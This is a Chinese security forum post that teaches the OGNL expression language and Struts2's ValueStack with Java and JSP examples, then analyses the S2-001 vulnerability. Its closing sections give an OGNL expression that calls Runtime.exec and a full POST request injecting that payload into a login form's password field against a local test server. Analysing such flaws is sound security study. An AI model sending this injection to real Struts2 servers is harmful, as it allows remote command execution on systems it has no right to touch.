用户
搜索
  • TA的每日心情
    开心
    2018-9-11 11:32
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    80

    主题

    105

    帖子

    1152

    魔法币
    收听
    0
    粉丝
    19
    注册时间
    2016-6-6
    发表于 2018-8-20 14:18:38 228343

    Struts2这个框架每年都会出现那么几个漏洞,不得不引起斗哥学习的兴趣。本期将从Struts2的一个罪魁祸首ONGL表达式开始介绍到S2-001漏洞的分析。Struts2系列的漏洞涉及Java Web等相关内容,后续会持续更新漏洞分析以及相关知识背景介绍等。

    0x00 什么是ognl

    OGNL全称是对象视图导航语言(Object-Graph Navigation Language),它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

    0x01 ognl的核心OgnlContext对象

    OgnlContext对象是Ognl的核心,需要一个上下文环境。又分为两个部分,分别是Root对象和Context对象,Root对象所在的环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作“在哪里进行”。上下文环境Context是一个MAP类型的对象,在表达式中访问Context的对象,需要使用#号加上对象名称,即#对象名称的形式。

    比如我们有一个User对象: User.Java

    [PHP] 纯文本查看 复制代码
    public class User {
    
       private String name;
    
       private Integer age;
    
       public User() {
    
           super();
    
       }
    
       public User(String name, Integer age) {
    
           super();
    
           this.name = name;
    
           this.age = age;
    
       }
    
       public String getName() {
    
           return name;
    
       }
    
       public void setName(String name) {
    
           this.name = name;
    
       }
    
       public Integer getAge() {
    
           return age;
    
       }
    
       public void setAge(Integer age) {
    
           this.age = age;
    
       }
    
    }
    
    

    那针对User对象,Root的方式:

    [PHP] 纯文本查看 复制代码
    User rootUser = new User("tom",18);
    
    

    Context的方式:

    [PHP] 纯文本查看 复制代码
    Map<String,User> context = new HashMap<String,User>();
    
    context.put("user1",new User("jack",20));
    
    context.put("user2",new User("rose",22));


    创建OgnlContext对象:

    [PHP] 纯文本查看 复制代码
    OgnlContext oc = new OgnlContext();
    
    oc.setRoot(rootUser);
    
    oc.setValues(context);


    取出root中User对象的name和age属性。这里可以使用getValue这个方法,其中第一个参数是就是OGNL表达式。

    [PHP] 纯文本查看 复制代码
    String name = (String) Ognl.getValue("name",oc,oc.getRoot());
    
    Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());
    
    System.out.println(age);
    
    System.out.println(name);


    取出Context对象中的属性值,这里要加上#符号。
    [PHP] 纯文本查看 复制代码
    String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());
    
    String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());
    
    Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());
    
    Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());
    
    System.out.println(name1);
    
    System.out.println(name2);
    
    System.out.println(age1);
    
    System.out.println(age2);


    为root中的User对象的name属性赋值。

    [PHP] 纯文本查看 复制代码
    Ognl.getValue("name='jerry'",oc,oc.getRoot());
    
    String name = (String) Ognl.getValue("name",oc,oc.getRoot());
    
    System.out.println(name);


    为Context中的user1对象的name属性赋值。

    [PHP] 纯文本查看 复制代码
    Ognl.getValue("#user1.name='reborn'",oc,oc.getRoot());
    
    String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());
    
    System.out.println(name1);


    getValue用来提取OGNL表达式运行后的值。下面是getValue可以传递的值:

    [PHP] 纯文本查看 复制代码
    public static java.lang.Object getValue(java.lang.String expression,
    
                                               java.util.Map context,
    
                                               java.lang.Object root,
    
                                               java.lang.Class resultType)
    
                                        throws OgnlException


    ●java.lang.String expression 表达式

    ●java.util.Map context 上下文

    ●java.lang.Object root 表达式根对象

    ●java.lang.Class resultType 被转换的结果对象的类型

    OGNL 的 API 设计得是很简单的,context 提供上下文,为变量和表达式的求值过程来提供命名空间,存储变量 等,通过 root 来指定对象图遍历的初始变量,使用 expression 来告诉 Ognl 如何完成运算。

    演示ognl如何访问对象的方法:

    1.创建一个 OgnlContext对象,context

    2.创建一个 obj 对象 obj。 obj 的值等于 Ognl.getValue的值。

    3.Ognl.getValue有2个参数。 "'helloworld'.length()"为表达式语句。
    [PHP] 纯文本查看 复制代码
    import ognl.Ognl;
    
    import ognl.OgnlContext;
    
    import ognl.OgnlException;
    
    public class Ognltest {
    
       public static void main(String[] args) throws OgnlException {
    
           OgnlContext context = new OgnlContext();
    
           Object obj = Ognl.getValue("'helloworld'.length()",context);
    
           System.out.println(obj);
    
       }
    
    }


    ●ognl可以支持对象方法调用如:

    [PHP] 纯文本查看 复制代码
    objName.methodName()


    ●ognl可以支持类的静态方法调用和值访问,表达式格式为:@[类全名(包括包路径)@[方法名|值名]],例如:调用java.lang.String类的format方法。

    [PHP] 纯文本查看 复制代码
    @java.lang.String@format('foo %s','bar')


    0x03 ognl与Struts2的结合

    1.ValueStack

    Ognl表达式可以单独使用,它也被一些成熟的框架使用,如Struts2。在Struts2 中有个值栈对象即ValueStack。而说得通俗些,这个值栈就是OgnlContext。

    而Ognl原有的root部分对应Struts2的栈,Context对应Struts2的ActionContext。

    2.ValueStack特点

    ValueStack贯穿整个Action的生命周期(每个Action类的对象实例都拥有一个ValueStack对象),即用户每次访问struts的action,都会创建一个Action对象、值栈对象、ActionContext对象,然后把Action对象放入值栈中;最后再把值栈对象放入request中,传入jsp页面。相当于一个数据的中转站,在其中保存当前Action对象和其他相关对象。Struts2框架把ValueStack对象保存在名为struts。valueStack的request请求属性中。


    0x04 JSP页面中获取ValueStack数据

    在jsp页面中,对不同ValueStack中的不同类型取值方法不同, 如果是根元素取值,直接写表达式; 非根元素(request,Session,application,att,parmeters)必须用#号,例#request.cn。

    [PHP] 纯文本查看 复制代码
    <%@taglib prefix="s" uri="/struts-tags" %>
    
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <html>
    
     <head>
    
       <title>jsp页面取值</title>
    
     </head>
    
     <body>
    
    index页面
    
    <%--页面,必须要拿到ValueStack--%>
    
    <%--struts的调试标签,可以观测值栈数据--%>
    
    <s:debug/>
    
    <br/>1.取根元素的值<br/>
    
     <s:property value="user.id"/>
    
     <s:property value="user.name"/>
    
    
    <br/>2.取非根元素<br/>
    
     <s:property value="#request.cn"/>
    
     <s:property value="#request.request_data"/>
    
     <s:property value="#session.session_data"/>
    
     <s:property value="#application.application_data"/><br/>
    
    <%--attr按顺序自动找request/session/application,找到后立刻返回--%>
    
     <s:property value="#attr.application_data"/>
    
    <%--获取请求参数数据--%>
    
     <s:property value="#parameters.userName"/>
    
     </body>
    
    </html>
    
    


    0x05 Struts标签

    Ognl表达式取值。使用方式是:

    1.引入<%@taglib      prefix="s" uri="/struts-tags" %>

    2.使用<s:property      value="user.name"/>标签获取取值,取值的时候要注意根元素(全局变量)不用#号,其他的都用#号。


    0x06 ognl的命令执行

    Java的命令执行可以借助java.lang.Runtime类的getRuntime方法。 如下:Run.java
    [PHP] 纯文本查看 复制代码
    import java.io.IOException;
    
    import static java.lang.Runtime.getRuntime;
    
    public class Run {
    
       public static void main(String[] args) throws IOException {
    
           Process s = getRuntime().exec("calc");
    
       }
    
    }


    语句.jpg

    将上述代码按照@[类全名(包括包路径)@[方法名|值名]]书写表达式语句:
    [PHP] 纯文本查看 复制代码
    @java.lang.Runtime@getRuntime().exec('calc')


    LC.webp.jpg

    0x07 s2-001漏洞分析

    该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

    这里的表单是用JSP写的,需要对JSP有所了解,还需要去了解一下Struts2标签库常用的几个标签,这里有个参考链接:Struts2标签库常用标签。

    例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,这里重新填充动作是要有的,没有则不会触发漏洞。

    LoginAction.class

    [PHP] 纯文本查看 复制代码
    package com.demo.action;
    
    import com.opensymphony.xwork2.ActionSupport;
    
    public class LoginAction extends ActionSupport {
    
       private String username = null;
    
       private String password = null;
    
       public LoginAction() {
    
       }
    
       public String getUsername() {
    
           return this.username;
    
       }
    
       public String getPassword() {
    
           return this.password;
    
       }
    
       public void setUsername(String username) {
    
           this.username = username;
    
       }
    
       public void setPassword(String password) {
    
           this.password = password;
    
       }
    
       public String execute() throws Exception {
    
           if (!this.username.isEmpty() && !this.password.isEmpty()) {
    
               return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
    
           } else {
    
               return "error";
    
           }
    
       }
    
    }


    这段代码的意思是,接收发往/login.action的用户名和密码,如果两者不为admin,则返回error。

    而查看struts.xml文件,发现返回error则跳转到index.jsp文件。

    [PHP] 纯文本查看 复制代码
    <package name="S2-001" extends="struts-default">
    
     <action name="login" class="com.demo.action.LoginAction">
    
       <result name="success">/welcome.jsp</result>
    
       <result name="error">/index.jsp</result>
    
     </action>
    
    </package>


    而index.jsp有表单如下:

    [PHP] 纯文本查看 复制代码
    <s:form action="login">
    
       <s:textfield name="username" label="username" />
    
       <s:textfield name="password" label="password" />
    
       <s:submit></s:submit>
    
    </s:form>


    最终我们构造请求如下,触发漏洞。
    [PHP] 纯文本查看 复制代码
    [post]
    
    [url]http://127.0.0.1:8080/login.action[/url]
    
    [data]
    
    username=xxx&password=%25{%40java.lang.Runtime%40getRuntime().exec("calc")}
    
    


    qrcode_for_gh_223e082fe8a7_344.jpg

    学习一下~
    使用道具 举报 回复
    发表于 2018-8-22 10:34:03
    666666666666666666666666
    路漫漫,
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册